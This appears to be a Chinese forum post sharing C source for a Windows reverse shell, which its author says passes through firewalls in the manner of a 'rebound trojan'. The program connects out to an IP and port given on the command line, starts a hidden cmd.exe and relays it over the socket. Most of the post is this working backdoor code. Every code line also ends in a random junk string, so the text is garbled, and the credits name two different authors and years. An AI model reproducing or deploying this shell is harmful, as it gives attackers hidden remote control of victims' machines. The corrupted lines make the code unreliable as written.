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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tf+5@Zf]4  
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/* ============================== +S3r]D3v/  
Rebound port in Windows NT {F~:8 6z(g  
By wind,2006/7 .]\+JTm  
===============================*/ hXE_OXZ  
#include b=-LQkcZhK  
#include iB=v >8l%  
<h"*"q|9  
#pragma comment(lib,"wsock32.lib") x\m?*5p  
r-+S^mOE]  
void OutputShell(); 9/x_p;bI  
SOCKET sClient; N=X(G(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7Odw{pc  
%ut7T!Jp  
void main(int argc,char **argv) Q|`sYm'.  
{ }1/`<m  
WSADATA stWsaData; Q[M?LNE`  
int nRet; ~ [4oA$[a|  
SOCKADDR_IN stSaiClient,stSaiServer; !U2Wiks  
"uthFE  
if(argc != 3) z]J pvw`p  
{ #*|0WaC  
printf("Useage:\n\rRebound DestIP DestPort\n"); KW~fW r8  
return; vKvT7Zxc  
} /EpsJb`kj  
4}\Dr %US  
WSAStartup(MAKEWORD(2,2),&stWsaData); zwyK \j  
B- VhUS  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qAF.i^  
9J!@,Zsh  
stSaiClient.sin_family = AF_INET; 5U3 b&0  
stSaiClient.sin_port = htons(0); QNzx(IV@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); - #ta/*TT:  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) HAi'0%"  
{ C"We>!  
printf("Bind Socket Failed!\n"); Ehv*E  
return; 'n)]"G|  
} %O<  qw  
XZk?aik}`  
stSaiServer.sin_family = AF_INET; @9wug!,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;1&7v  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Gpauy=4f  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) # [0>wEq  
{ v^;%Fz_Dr  
printf("Connect Error!"); ~/B[;#  
return; ,X2CV INb}  
} y,`SLgBID  
OutputShell(); re `B fN  
} aNW!Y':*  
P}El#y#&  
void OutputShell() eI 6G  
{ qrj:H4#VB  
char szBuff[1024]; Ak\w)!?s  
SECURITY_ATTRIBUTES stSecurityAttributes; ]qLro<  
OSVERSIONINFO stOsversionInfo; ua^gG3n0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; . >{.!a  
STARTUPINFO stStartupInfo; 7Qc 4Oz:t  
char *szShell; !M[a/7x,p  
PROCESS_INFORMATION stProcessInformation; *UJ&9rQ  
unsigned long lBytesRead; -PI_ *  
^nS'3g^"  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0{Kb1Ut  
.<!Jhf$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ba9le|c5  
stSecurityAttributes.lpSecurityDescriptor = 0; KH<f=?b  
stSecurityAttributes.bInheritHandle = TRUE; b\U p(]  
@\=% M^bx  
HZ#<+~J  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f_&bwfbo  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {y[T3(tt  
+])St3h  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); SRixT+E  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #hOAG_a,  
stStartupInfo.wShowWindow = SW_HIDE; sKkk+-J4  
stStartupInfo.hStdInput = hReadPipe; &4%j   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )i;o\UU  
5Z`9L| 3d  
GetVersionEx(&stOsversionInfo); Y-.pslg  
A7;|~??  
switch(stOsversionInfo.dwPlatformId) FTihxC?.L  
{ jM E==)Y  
case 1: },2mIit(  
szShell = "command.com"; } h.]sF  
break; fh1rmet&Ts  
default: UY_'F5X  
szShell = "cmd.exe"; !1:364  
break; ~vVsxC$.  
} Wa8?o~0"L  
@"6dq;"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hY?x14m$3  
Felu`@b  
send(sClient,szMsg,77,0); X\I"%6$  
while(1) QzwA*\G  
{ ~olta\|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <V}^c/c!  
if(lBytesRead) s4$Z.xwr  
{ BJM_kKH  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oM=Ltxv}  
send(sClient,szBuff,lBytesRead,0); O;N QJ$^bI  
} 2VNMz[W'  
else v$O%U[e<  
{ \` |*i$  
lBytesRead=recv(sClient,szBuff,1024,0); ]yxRaW9f  
if(lBytesRead<=0) break; a-t}L{~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :\+;5Se+l  
} mgB7l0)b  
} 8h&Ed=gi  
+,xl_,Z6  
return; |kHPk)}I]  
}
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